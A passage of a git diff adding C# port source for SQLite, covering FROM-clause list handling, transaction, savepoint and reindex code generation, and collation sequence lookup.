+ + /* + ** Delete an IdList. + */ + static void sqlite3IdListDelete( sqlite3 db, ref IdList pList ) + { + int i; + if ( pList == null ) return; + for ( i = 0 ; i < pList.nId ; i++ ) + { + //sqlite3DbFree( db, ref pList.a[i].zName ); + } + //sqlite3DbFree( db, ref pList.a ); + //sqlite3DbFree( db, ref pList ); + } + + /* + ** Return the index in pList of the identifier named zId. Return -1 + ** if not found. + */ + static int sqlite3IdListIndex( IdList pList, string zName ) + { + int i; + if ( pList == null ) return -1; + for ( i = 0 ; i < pList.nId ; i++ ) + { + if ( sqlite3StrICmp( pList.a[i].zName, zName ) == 0 ) return i; + } + return -1; + } + + /* + ** Expand the space allocated for the given SrcList object by + ** creating nExtra new slots beginning at iStart. iStart is zero based. + ** New slots are zeroed. + ** + ** For example, suppose a SrcList initially contains two entries: A,B. + ** To append 3 new entries onto the end, do this: + ** + ** sqlite3SrcListEnlarge(db, pSrclist, 3, 2); + ** + ** After the call above it would contain: A, B, nil, nil, nil. + ** If the iStart argument had been 1 instead of 2, then the result + ** would have been: A, nil, nil, nil, B. To prepend the new slots, + ** the iStart value would be 0. The result then would + ** be: nil, nil, nil, A, B. + ** + ** If a memory allocation fails the SrcList is unchanged. The + ** db.mallocFailed flag will be set to true. + */ + static SrcList sqlite3SrcListEnlarge( + sqlite3 db, /* Database connection to notify of OOM errors */ + SrcList pSrc, /* The SrcList to be enlarged */ + int nExtra, /* Number of new slots to add to pSrc.a[] */ + int iStart /* Index in pSrc.a[] of first new slot */ + ) + { + int i; + + /* Sanity checking on calling parameters */ + Debug.Assert( iStart >= 0 ); + Debug.Assert( nExtra >= 1 ); + Debug.Assert( pSrc != null ); + Debug.Assert( iStart <= pSrc.nSrc ); + + /* Allocate additional space if needed */ + if ( pSrc.nSrc + nExtra > pSrc.nAlloc ) + { + int nAlloc = pSrc.nSrc + nExtra; + int nGot; + // sqlite3DbRealloc(db, pSrc, + // sizeof(*pSrc) + (nAlloc-1)*sizeof(pSrc.a[0]) ); + pSrc.nAlloc = (i16)nAlloc; + Array.Resize( ref pSrc.a, nAlloc ); + // nGot = (sqlite3DbMallocSize(db, pNew) - sizeof(*pSrc))/sizeof(pSrc->a[0])+1; + //pSrc->nAlloc = (u16)nGot; + } + + /* Move existing slots that come after the newly inserted slots + ** out of the way */ + for ( i = pSrc.nSrc - 1 ; i >= iStart ; i-- ) + { + pSrc.a[i + nExtra] = pSrc.a[i]; + } + pSrc.nSrc += (i16)nExtra; + + /* Zero the newly allocated slots */ + //memset(&pSrc.a[iStart], 0, sizeof(pSrc.a[0])*nExtra); + for ( i = iStart ; i < iStart + nExtra ; i++ ) + { + pSrc.a[i] = new SrcList_item(); + pSrc.a[i].iCursor = -1; + } + + /* Return a pointer to the enlarged SrcList */ + return pSrc; + } + + + /* + ** Append a new table name to the given SrcList. Create a new SrcList if + ** need be. A new entry is created in the SrcList even if pTable is NULL. + ** + ** A SrcList is returned, or NULL if there is an OOM error. The returned + ** SrcList might be the same as the SrcList that was input or it might be + ** a new one. If an OOM error does occurs, then the prior value of pList + ** that is input to this routine is automatically freed. + ** + ** If pDatabase is not null, it means that the table has an optional + ** database name prefix. Like this: "database.table". The pDatabase + ** points to the table name and the pTable points to the database name. + ** The SrcList.a[].zName field is filled with the table name which might + ** come from pTable (if pDatabase is NULL) or from pDatabase. + ** SrcList.a[].zDatabase is filled with the database name from pTable, + ** or with NULL if no database is specified. + ** + ** In other words, if call like this: + ** + ** sqlite3SrcListAppend(D,A,B,0); + ** + ** Then B is a table name and the database name is unspecified. If called + ** like this: + ** + ** sqlite3SrcListAppend(D,A,B,C); + ** + ** Then C is the table name and B is the database name. If C is defined + ** then so is B. In other words, we never have a case where: + ** + ** sqlite3SrcListAppend(D,A,0,C); + ** + ** Both pTable and pDatabase are assumed to be quoted. They are dequoted + ** before being added to the SrcList. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, int null_4 ) + { + return sqlite3SrcListAppend( db, null, pTable, null ); + } + static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, Token pDatabase ) + { + return sqlite3SrcListAppend( db, null, pTable, pDatabase ); + } + static SrcList sqlite3SrcListAppend( + sqlite3 db, /* Connection to notify of malloc failures */ + SrcList pList, /* Append to this SrcList. NULL creates a new SrcList */ + Token pTable, /* Table to append */ + Token pDatabase /* Database of the table */ + ) + { + SrcList_item pItem; + Debug.Assert( pDatabase == null || pTable != null ); /* Cannot have C without B */ + if ( pList == null ) + { + pList = new SrcList();//sqlite3DbMallocZero(db, SrcList.Length ); + //if ( pList == null ) return null; + pList.nAlloc = 1; + pList.a = new SrcList_item[1]; + } + pList = sqlite3SrcListEnlarge( db, pList, 1, pList.nSrc ); + //if ( db.mallocFailed != 0 ) + //{ + // sqlite3SrcListDelete( db, ref pList ); + // return null; + //} + pItem = pList.a[pList.nSrc - 1]; + if ( pDatabase != null && String.IsNullOrEmpty(pDatabase.z)) + { + pDatabase = null; + } + if ( pDatabase != null ) + { + Token pTemp = pDatabase; + pDatabase = pTable; + pTable = pTemp; + } + pItem.zName = sqlite3NameFromToken( db, pTable ); + pItem.zDatabase = sqlite3NameFromToken( db, pDatabase ); + return pList; + } + + /* + ** Assign VdbeCursor index numbers to all tables in a SrcList + */ + static void sqlite3SrcListAssignCursors( Parse pParse, SrcList pList ) + { + int i; + SrcList_item pItem; + Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ ); + if ( pList != null ) + { + for ( i = 0 ; i < pList.nSrc ; i++ ) + { + pItem = pList.a[i]; + if ( pItem.iCursor >= 0 ) break; + pItem.iCursor = pParse.nTab++; + if ( pItem.pSelect != null ) + { + sqlite3SrcListAssignCursors( pParse, pItem.pSelect.pSrc ); + } + } + } + } + + /* + ** Delete an entire SrcList including all its substructure. + */ + static void sqlite3SrcListDelete( sqlite3 db, ref SrcList pList ) + { + int i; + SrcList_item pItem; + if ( pList == null ) return; + for ( i = 0 ; i < pList.nSrc ; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + //sqlite3DbFree( db, ref pItem.zDatabase ); + //sqlite3DbFree( db, ref pItem.zName ); + //sqlite3DbFree( db, ref pItem.zAlias ); + //sqlite3DbFree( db, ref pItem.zIndex ); + sqlite3DeleteTable( ref pItem.pTab ); + sqlite3SelectDelete( db, ref pItem.pSelect ); + sqlite3ExprDelete( db, ref pItem.pOn ); + sqlite3IdListDelete( db, ref pItem.pUsing ); + } + //sqlite3DbFree( db, ref pList ); + } + + /* + ** This routine is called by the parser to add a new term to the + ** end of a growing FROM clause. The "p" parameter is the part of + ** the FROM clause that has already been constructed. "p" is NULL + ** if this is the first term of the FROM clause. pTable and pDatabase + ** are the name of the table and database named in the FROM clause term. + ** pDatabase is NULL if the database name qualifier is missing - the + ** usual case. If the term has a alias, then pAlias points to the + ** alias token. If the term is a subquery, then pSubquery is the + ** SELECT statement that the subquery encodes. The pTable and + ** pDatabase parameters are NULL for subqueries. The pOn and pUsing + ** parameters are the content of the ON and USING clauses. + ** + ** Return a new SrcList which encodes is the FROM with the new + ** term added. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, int null_3, int null_4, Token pAlias, Select pSubquery, Expr pOn, IdList pUsing ) + { + return sqlite3SrcListAppendFromTerm( pParse, p, null, null, pAlias, pSubquery, pOn, pUsing ); + } + static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, Token pTable, Token pDatabase, Token pAlias, int null_6, Expr pOn, IdList pUsing ) + { + return sqlite3SrcListAppendFromTerm( pParse, p, pTable, pDatabase, pAlias, null, pOn, pUsing ); + } + static SrcList sqlite3SrcListAppendFromTerm( + Parse pParse, /* Parsing context */ + SrcList p, /* The left part of the FROM clause already seen */ + Token pTable, /* Name of the table to add to the FROM clause */ + Token pDatabase, /* Name of the database containing pTable */ + Token pAlias, /* The right-hand side of the AS subexpression */ + Select pSubquery, /* A subquery used in place of a table name */ + Expr pOn, /* The ON clause of a join */ + IdList pUsing /* The USING clause of a join */ + ) + { + SrcList_item pItem; + sqlite3 db = pParse.db; + if ( null == p && ( pOn != null || pUsing != null ) ) + { + sqlite3ErrorMsg( pParse, "a JOIN clause is required before %s", + ( pOn != null ? "ON" : "USING" ) + ); + goto append_from_error; + } + p = sqlite3SrcListAppend( db, p, pTable, pDatabase ); + //if ( p == null || NEVER( p.nSrc == 0 ) ) + //{ + // goto append_from_error; + //} + pItem = p.a[p.nSrc - 1]; + Debug.Assert( pAlias != null ); + if ( pAlias.n != 0 ) + { + pItem.zAlias = sqlite3NameFromToken( db, pAlias ); + } + pItem.pSelect = pSubquery; + pItem.pOn = pOn; + pItem.pUsing = pUsing; + return p; +append_from_error: + Debug.Assert( p == null ); + sqlite3ExprDelete( db, ref pOn ); + sqlite3IdListDelete( db, ref pUsing ); + sqlite3SelectDelete( db, ref pSubquery ); + return null; + } + + /* + ** Add an INDEXED BY or NOT INDEXED clause to the most recently added + ** element of the source-list passed as the second argument. + */ + static void sqlite3SrcListIndexedBy( Parse pParse, SrcList p, Token pIndexedBy ) + { + Debug.Assert( pIndexedBy != null ); + if ( p != null && ALWAYS( p.nSrc > 0 ) ) + { + SrcList_item pItem = p.a[p.nSrc - 1]; + Debug.Assert( 0 == pItem.notIndexed && pItem.zIndex == null ); + if ( pIndexedBy.n == 1 && null == pIndexedBy.z ) + { + /* A "NOT INDEXED" clause was supplied. See parse.y + ** construct "indexed_opt" for details. */ + pItem.notIndexed = 1; + } + else + { + pItem.zIndex = sqlite3NameFromToken( pParse.db, pIndexedBy ); + } + } + } + + /* + ** When building up a FROM clause in the parser, the join operator + ** is initially attached to the left operand. But the code generator + ** expects the join operator to be on the right operand. This routine + ** Shifts all join operators from left to right for an entire FROM + ** clause. + ** + ** Example: Suppose the join is like this: + ** + ** A natural cross join B + ** + ** The operator is "natural cross join". The A and B operands are stored + ** in p.a[0] and p.a[1], respectively. The parser initially stores the + ** operator with A. This routine shifts that operator over to B. + */ + static void sqlite3SrcListShiftJoinType( SrcList p ) + { + if ( p != null && p.a != null ) + { + int i; + for ( i = p.nSrc - 1 ; i > 0 ; i-- ) + { + p.a[i].jointype = p.a[i - 1].jointype; + } + p.a[0].jointype = 0; + } + } + + /* + ** Begin a transaction + */ + static void sqlite3BeginTransaction( Parse pParse, int type ) + { + sqlite3 db; + Vdbe v; + int i; + + Debug.Assert( pParse != null ); + db = pParse.db; + Debug.Assert( db != null ); + /* if( db.aDb[0].pBt==0 ) return; */ + if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "BEGIN", null, null ) != 0 ) + { + return; + } + v = sqlite3GetVdbe( pParse ); + if ( v == null ) return; + if ( type != TK_DEFERRED ) + { + for ( i = 0 ; i < db.nDb ; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Transaction, i, ( type == TK_EXCLUSIVE ) ? 2 : 1 ); + sqlite3VdbeUsesBtree( v, i ); + } + } + sqlite3VdbeAddOp2( v, OP_AutoCommit, 0, 0 ); + } + + /* + ** Commit a transaction + */ + static void sqlite3CommitTransaction( Parse pParse ) + { + sqlite3 db; + Vdbe v; + + Debug.Assert( pParse != null ); + db = pParse.db; + Debug.Assert( db != null ); + /* if( db.aDb[0].pBt==0 ) return; */ + if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "COMMIT", null, null ) != 0 ) + { + return; + } + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 0 ); + } + } + + /* + ** Rollback a transaction + */ + static void sqlite3RollbackTransaction( Parse pParse ) + { + sqlite3 db; + Vdbe v; + + Debug.Assert( pParse != null ); + db = pParse.db; + Debug.Assert( db != null ); + /* if( db.aDb[0].pBt==0 ) return; */ + if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "ROLLBACK", null, null ) != 0 ) + { + return; + } + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 1 ); + } + } + + /* + ** This function is called by the parser when it parses a command to create, + ** release or rollback an SQL savepoint. + */ + static void sqlite3Savepoint( Parse pParse, int op, Token pName ) + { + string zName = sqlite3NameFromToken( pParse.db, pName ); + if ( zName != null ) + { + Vdbe v = sqlite3GetVdbe( pParse ); +#if !SQLITE_OMIT_AUTHORIZATION +byte az[] = { "BEGIN", "RELEASE", "ROLLBACK" }; +Debug.Assert( !SAVEPOINT_BEGIN && SAVEPOINT_RELEASE==1 && SAVEPOINT_ROLLBACK==2 ); +#endif + if ( null == v +#if !SQLITE_OMIT_AUTHORIZATION +|| sqlite3AuthCheck(pParse, SQLITE_SAVEPOINT, az[op], zName, 0) +#endif + ) + { + //sqlite3DbFree( pParse.db, zName ); + return; + } + sqlite3VdbeAddOp4( v, OP_Savepoint, op, 0, 0, zName, P4_DYNAMIC ); + } + } + + /* + ** Make sure the TEMP database is open and available for use. Return + ** the number of errors. Leave any error messages in the pParse structure. + */ + static int sqlite3OpenTempDatabase( Parse pParse ) + { + sqlite3 db = pParse.db; + if ( db.aDb[1].pBt == null && pParse.explain == 0 ) + { + int rc; + const int flags = + SQLITE_OPEN_READWRITE | + SQLITE_OPEN_CREATE | + SQLITE_OPEN_EXCLUSIVE | + SQLITE_OPEN_DELETEONCLOSE | + SQLITE_OPEN_TEMP_DB; + + rc = sqlite3BtreeFactory( db, null, false, SQLITE_DEFAULT_CACHE_SIZE, flags, + ref db.aDb[1].pBt ); + if ( rc != SQLITE_OK ) + { + sqlite3ErrorMsg( pParse, "unable to open a temporary database " + + "file for storing temporary tables" ); + pParse.rc = rc; + return 1; + } + Debug.Assert( ( db.flags & SQLITE_InTrans ) == 0 || db.autoCommit != 0 ); + Debug.Assert( db.aDb[1].pSchema != null ); + sqlite3PagerJournalMode( sqlite3BtreePager( db.aDb[1].pBt ), + db.dfltJournalMode ); + } + return 0; + } + + /* + ** Generate VDBE code that will verify the schema cookie and start + ** a read-transaction for all named database files. + ** + ** It is important that all schema cookies be verified and all + ** read transactions be started before anything else happens in + ** the VDBE program. But this routine can be called after much other + ** code has been generated. So here is what we do: + ** + ** The first time this routine is called, we code an OP_Goto that + ** will jump to a subroutine at the end of the program. Then we + ** record every database that needs its schema verified in the + ** pParse.cookieMask field. Later, after all other code has been + ** generated, the subroutine that does the cookie verifications and + ** starts the transactions will be coded and the OP_Goto P2 value + ** will be made to point to that subroutine. The generation of the + ** cookie verification subroutine code happens in sqlite3FinishCoding(). + ** + ** If iDb<0 then code the OP_Goto only - don't set flag to verify the + ** schema on any databases. This can be used to position the OP_Goto + ** early in the code, before we know if any database tables will be used. + */ + static void sqlite3CodeVerifySchema( Parse pParse, int iDb ) + { + sqlite3 db; + Vdbe v; + u32 mask; + + v = sqlite3GetVdbe( pParse ); + if ( v == null ) return; /* This only happens if there was a prior error */ + db = pParse.db; + if ( pParse.cookieGoto == 0 ) + { + pParse.cookieGoto = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ) + 1; + } + if ( iDb >= 0 ) + { + Debug.Assert( iDb < db.nDb ); + Debug.Assert( db.aDb[iDb].pBt != null || iDb == 1 ); + Debug.Assert( iDb < SQLITE_MAX_ATTACHED + 2 ); + mask = (u32)( 1 << iDb ); + if ( ( pParse.cookieMask & mask ) == 0 ) + { + pParse.cookieMask |= mask; + pParse.cookieValue[iDb] = db.aDb[iDb].pSchema.schema_cookie; + if ( OMIT_TEMPDB == 0 && iDb == 1 ) + { + sqlite3OpenTempDatabase( pParse ); + } + } + } + } + + /* + ** Generate VDBE code that prepares for doing an operation that + ** might change the database. + ** + ** This routine starts a new transaction if we are not already within + ** a transaction. If we are already within a transaction, then a checkpoint + ** is set if the setStatement parameter is true. A checkpoint should + ** be set for operations that might fail (due to a constraint) part of + ** the way through and which will need to undo some writes without having to + ** rollback the whole transaction. For operations where all constraints + ** can be checked before any changes are made to the database, it is never + ** necessary to undo a write and the checkpoint should not be set. + */ + static void sqlite3BeginWriteOperation( Parse pParse, int setStatement, int iDb ) + { + sqlite3CodeVerifySchema( pParse, iDb ); + pParse.writeMask |= (u32)( 1 << iDb ); + if ( setStatement != 0 && pParse.nested == 0 ) + { + /* Every place where this routine is called with setStatement!=0 has + ** already successfully created a VDBE. */ + Debug.Assert( pParse.pVdbe != null ); + sqlite3VdbeAddOp1( pParse.pVdbe, OP_Statement, iDb ); + } + } + + /* + ** Check to see if pIndex uses the collating sequence pColl. Return + ** true if it does and false if it does not. + */ +#if !SQLITE_OMIT_REINDEX + static bool collationMatch( string zColl, Index pIndex ) + { + int i; + Debug.Assert( zColl != null ); + for ( i = 0 ; i < pIndex.nColumn ; i++ ) + { + string z = pIndex.azColl[i]; + Debug.Assert( z != null ); + if ( 0 == sqlite3StrICmp( z, zColl ) ) + { + return true; + } + } + return false; + } +#endif + + /* +** Recompute all indices of pTab that use the collating sequence pColl. +** If pColl == null then recompute all indices of pTab. +*/ +#if !SQLITE_OMIT_REINDEX + static void reindexTable( Parse pParse, Table pTab, string zColl ) + { + Index pIndex; /* An index associated with pTab */ + + for ( pIndex = pTab.pIndex ; pIndex != null ; pIndex = pIndex.pNext ) + { + if ( zColl == null || collationMatch( zColl, pIndex ) ) + { + int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3RefillIndex( pParse, pIndex, -1 ); + } + } + } +#endif + + /* +** Recompute all indices of all tables in all databases where the +** indices use the collating sequence pColl. If pColl == null then recompute +** all indices everywhere. +*/ +#if !SQLITE_OMIT_REINDEX + static void reindexDatabases( Parse pParse, string zColl ) + { + Db pDb; /* A single database */ + int iDb; /* The database index number */ + sqlite3 db = pParse.db; /* The database connection */ + HashElem k; /* For looping over tables in pDb */ + Table pTab; /* A table in the database */ + + for ( iDb = 0 ; iDb < db.nDb ; iDb++ )//, pDb++ ) + { + pDb = db.aDb[iDb]; + Debug.Assert( pDb != null ); + for ( k = pDb.pSchema.tblHash.first ; k != null ; k = k.next ) //for ( k = sqliteHashFirst( pDb.pSchema.tblHash ) ; k != null ; k = sqliteHashNext( k ) ) + { + pTab = (Table)k.data;// sqliteHashData( k ); + reindexTable( pParse, pTab, zColl ); + } + } + } +#endif + + /* +** Generate code for the REINDEX command. +** +** REINDEX -- 1 +** REINDEX -- 2 +** REINDEX ?.? -- 3 +** REINDEX ?.? -- 4 +** +** Form 1 causes all indices in all attached databases to be rebuilt. +** Form 2 rebuilds all indices in all databases that use the named +** collating function. Forms 3 and 4 rebuild the named index or all +** indices associated with the named table. +*/ +#if !SQLITE_OMIT_REINDEX + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3Reindex( Parse pParse, int null_2, int null_3 ) + { sqlite3Reindex( pParse, null, null ); } + static void sqlite3Reindex( Parse pParse, Token pName1, Token pName2 ) + { + CollSeq pColl; /* Collating sequence to be reindexed, or NULL */ + string z; /* Name of a table or index */ + string zDb; /* Name of the database */ + Table pTab; /* A table in the database */ + Index pIndex; /* An index associated with pTab */ + int iDb; /* The database index number */ + sqlite3 db = pParse.db; /* The database connection */ + Token pObjName = new Token(); /* Name of the table or index to be reindexed */ + + /* Read the database schema. If an error occurs, leave an error message + ** and code in pParse and return NULL. */ + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + return; + } + + if ( pName1 == null ) + { + reindexDatabases( pParse, null ); + return; + } + else if ( NEVER( pName2 == null ) || pName2.z == null || pName2.z.Length == 0 ) + { + string zColl; + Debug.Assert( pName1.z != null ); + zColl = sqlite3NameFromToken( pParse.db, pName1 ); + if ( zColl == null ) return; + pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 ); + if ( pColl != null ) + { + reindexDatabases( pParse, zColl ); + //sqlite3DbFree( db, ref zColl ); + return; + } + //sqlite3DbFree( db, ref zColl ); + } + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pObjName ); + if ( iDb < 0 ) return; + z = sqlite3NameFromToken( db, pObjName ); + if ( z == null ) return; + zDb = db.aDb[iDb].zName; + pTab = sqlite3FindTable( db, z, zDb ); + if ( pTab != null ) + { + reindexTable( pParse, pTab, null ); + //sqlite3DbFree( db, ref z ); + return; + } + pIndex = sqlite3FindIndex( db, z, zDb ); + //sqlite3DbFree( db, ref z ); + if ( pIndex != null ) + { + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3RefillIndex( pParse, pIndex, -1 ); + return; + } + sqlite3ErrorMsg( pParse, "unable to identify the object to be reindexed" ); + } +#endif + + /* +** Return a dynamicly allocated KeyInfo structure that can be used +** with OP_OpenRead or OP_OpenWrite to access database index pIdx. +** +** If successful, a pointer to the new structure is returned. In this case +** the caller is responsible for calling //sqlite3DbFree(db, ) on the returned +** pointer. If an error occurs (out of memory or missing collation +** sequence), NULL is returned and the state of pParse updated to reflect +** the error. +*/ + static KeyInfo sqlite3IndexKeyinfo( Parse pParse, Index pIdx ) + { + int i; + int nCol = pIdx.nColumn; + //int nBytes = KeyInfo.Length + (nCol - 1) * CollSeq*.Length + nCol; + sqlite3 db = pParse.db; + KeyInfo pKey = new KeyInfo();// (KeyInfo*)sqlite3DbMallocZero(db, nBytes); + + if ( pKey != null ) + { + pKey.db = pParse.db; + pKey.aSortOrder = new byte[nCol]; + pKey.aColl = new CollSeq[nCol];// (u8*)&(pKey.aColl[nCol]); + // Debug.Assert(pKey.aSortOrder[nCol] == &(((u8*)pKey)[nBytes])); + for ( i = 0 ; i < nCol ; i++ ) + { + string zColl = pIdx.azColl[i]; + Debug.Assert( zColl != null ); + pKey.aColl[i] = sqlite3LocateCollSeq( pParse, zColl ); + pKey.aSortOrder[i] = pIdx.aSortOrder[i]; + } + pKey.nField = (u16)nCol; + } + + if ( pParse.nErr != 0 ) + { + pKey = null;//sqlite3DbFree( db, ref pKey ); + } + return pKey; + } + } +} diff --git a/SQLite/src/callback_c.cs b/SQLite/src/callback_c.cs new file mode 100644 index 0000000..af8f5d5 --- /dev/null +++ b/SQLite/src/callback_c.cs @@ -0,0 +1,547 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2005 May 23 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains functions used to access the internal hash tables + ** of user defined functions and collation sequences. + ** + ** $Id: callback.c,v 1.42 2009/06/17 00:35:31 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + //#include "sqliteInt.h" + + /* + ** Invoke the 'collation needed' callback to request a collation sequence + ** in the database text encoding of name zName, length nName. + ** If the collation sequence + */ + static void callCollNeeded( sqlite3 db, string zName ) + { + Debug.Assert( db.xCollNeeded == null || db.xCollNeeded16 == null ); + if ( db.xCollNeeded != null ) + { + string zExternal = zName;// sqlite3DbStrDup(db, zName); + if ( zExternal == null ) return; + db.xCollNeeded( db.pCollNeededArg, db, db.aDb[0].pSchema.enc, zExternal );//(int)ENC(db), zExternal); + //sqlite3DbFree( db, ref zExternal ); + } +#if !SQLITE_OMIT_UTF16 +if( db.xCollNeeded16!=null ){ +string zExternal; +sqlite3_value pTmp = sqlite3ValueNew(db); +sqlite3ValueSetStr(pTmp, -1, zName, SQLITE_UTF8, SQLITE_STATIC); +zExternal = sqlite3ValueText(pTmp, SQLITE_UTF16NATIVE); +if( zExternal!="" ){ +db.xCollNeeded16( db.pCollNeededArg, db, db.aDbStatic[0].pSchema.enc, zExternal );//(int)ENC(db), zExternal); +} +sqlite3ValueFree(ref pTmp); +} +#endif + } + + /* + ** This routine is called if the collation factory fails to deliver a + ** collation function in the best encoding but there may be other versions + ** of this collation function (for other text encodings) available. Use one + ** of these instead if they exist. Avoid a UTF-8 <. UTF-16 conversion if + ** possible. + */ + static int synthCollSeq( sqlite3 db, CollSeq pColl ) + { + CollSeq pColl2; + string z = pColl.zName; + int i; + byte[] aEnc = { SQLITE_UTF16BE, SQLITE_UTF16LE, SQLITE_UTF8 }; + for ( i = 0 ; i < 3 ; i++ ) + { + pColl2 = sqlite3FindCollSeq( db, aEnc[i], z, 0 ); + if ( pColl2.xCmp != null ) + { + pColl = pColl2.Copy(); //memcpy(pColl, pColl2, sizeof(CollSeq)); + pColl.xDel = null; /* Do not copy the destructor */ + return SQLITE_OK; + } + } + return SQLITE_ERROR; + } + + /* + ** This function is responsible for invoking the collation factory callback + ** or substituting a collation sequence of a different encoding when the + ** requested collation sequence is not available in the database native + ** encoding. + ** + ** If it is not NULL, then pColl must point to the database native encoding + ** collation sequence with name zName, length nName. + ** + ** The return value is either the collation sequence to be used in database + ** db for collation type name zName, length nName, or NULL, if no collation + ** sequence can be found. + ** + ** See also: sqlite3LocateCollSeq(), sqlite3FindCollSeq() + */ + static CollSeq sqlite3GetCollSeq( + sqlite3 db, /* The database connection */ + CollSeq pColl, /* Collating sequence with native encoding, or NULL */ + string zName /* Collating sequence name */ + ) + { + CollSeq p; + + p = pColl; + if ( p == null ) + { + p = sqlite3FindCollSeq( db, ENC( db ), zName, 0 ); + } + if ( p == null || p.xCmp == null ) + { + /* No collation sequence of this type for this encoding is registered. + ** Call the collation factory to see if it can supply us with one. + */ + callCollNeeded( db, zName ); + p = sqlite3FindCollSeq( db, ENC( db ), zName, 0 ); + } + if ( p != null && p.xCmp == null && synthCollSeq( db, p ) != 0 ) + { + p = null; + } + Debug.Assert( p == null || p.xCmp != null ); + return p; + } + + /* + ** This routine is called on a collation sequence before it is used to + ** check that it is defined. An undefined collation sequence exists when + ** a database is loaded that contains references to collation sequences + ** that have not been defined by sqlite3_create_collation() etc. + ** + ** If required, this routine calls the 'collation needed' callback to + ** request a definition of the collating sequence. If this doesn't work, + ** an equivalent collating sequence that uses a text encoding different + ** from the main database is substituted, if one is available. + */ + static int sqlite3CheckCollSeq( Parse pParse, CollSeq pColl ) + { + if ( pColl != null ) + { + string zName = pColl.zName; + CollSeq p = sqlite3GetCollSeq( pParse.db, pColl, zName ); + if ( null == p ) + { + sqlite3ErrorMsg( pParse, "no such collation sequence: %s", zName ); + pParse.nErr++; + return SQLITE_ERROR; + } +// + //Debug.Assert(p == pColl); + if (p != pColl) // Had to lookup appropriate sequence + { + pColl.enc = p.enc; + pColl.pUser= p.pUser; + pColl.type = p.type; + pColl.xCmp = p.xCmp; + pColl.xDel = p.xDel; + } + + } + return SQLITE_OK; + } + + + + /* + ** Locate and return an entry from the db.aCollSeq hash table. If the entry + ** specified by zName and nName is not found and parameter 'create' is + ** true, then create a new entry. Otherwise return NULL. + ** + ** Each pointer stored in the sqlite3.aCollSeq hash table contains an + ** array of three CollSeq structures. The first is the collation sequence + ** prefferred for UTF-8, the second UTF-16le, and the third UTF-16be. + ** + ** Stored immediately after the three collation sequences is a copy of + ** the collation sequence name. A pointer to this string is stored in + ** each collation sequence structure. + */ + static CollSeq[] findCollSeqEntry( + sqlite3 db, /* Database connection */ + string zName, /* Name of the collating sequence */ + int create /* Create a new entry if true */ + ) + { + CollSeq[] pColl; + int nName = sqlite3Strlen30( zName ); + pColl = (CollSeq[])sqlite3HashFind( db.aCollSeq, zName, nName ); + + if ( ( null == pColl ) && create != 0 ) + { + pColl = new CollSeq[3]; //sqlite3DbMallocZero(db, 3*sizeof(*pColl) + nName + 1 ); + if ( pColl != null ) + { + CollSeq pDel = null; + pColl[0] = new CollSeq(); + pColl[0].zName = zName; + pColl[0].enc = SQLITE_UTF8; + pColl[1] = new CollSeq(); + pColl[1].zName = zName; + pColl[1].enc = SQLITE_UTF16LE; + pColl[2] = new CollSeq(); + pColl[2].zName = zName; + pColl[2].enc = SQLITE_UTF16BE; + //memcpy(pColl[0].zName, zName, nName); + //pColl[0].zName[nName] = 0; + pDel = (CollSeq)sqlite3HashInsert( ref db.aCollSeq, pColl[0].zName, nName, pColl ); + + /* If a malloc() failure occurred in sqlite3HashInsert(), it will + ** return the pColl pointer to be deleted (because it wasn't added + ** to the hash table). + */ + Debug.Assert( pDel == null || pDel == pColl[0] ); + if ( pDel != null ) + { + //// db.mallocFailed = 1; + pDel = null; //was //sqlite3DbFree(db,ref pDel); + pColl = null; + } + } + } + return pColl; + } + + /* + ** Parameter zName points to a UTF-8 encoded string nName bytes long. + ** Return the CollSeq* pointer for the collation sequence named zName + ** for the encoding 'enc' from the database 'db'. + ** + ** If the entry specified is not found and 'create' is true, then create a + ** new entry. Otherwise return NULL. + ** + ** A separate function sqlite3LocateCollSeq() is a wrapper around + ** this routine. sqlite3LocateCollSeq() invokes the collation factory + ** if necessary and generates an error message if the collating sequence + ** cannot be found. + ** + ** See also: sqlite3LocateCollSeq(), sqlite3GetCollSeq() + */ + static CollSeq sqlite3FindCollSeq( + sqlite3 db, + u8 enc, + string zName, + u8 create + ) + { + CollSeq[] pColl; + if ( zName != null ) + { + pColl = findCollSeqEntry( db, zName, create ); + } + else + { + pColl = new CollSeq[enc]; + pColl[enc - 1] = db.pDfltColl; + } + Debug.Assert( SQLITE_UTF8 == 1 && SQLITE_UTF16LE == 2 && SQLITE_UTF16BE == 3 ); + Debug.Assert( enc >= SQLITE_UTF8 && enc <= SQLITE_UTF16BE ); + if ( pColl != null ) + { + enc -= 1; // if (pColl != null) pColl += enc - 1; + return pColl[enc]; + } + else return null; + } + + /* 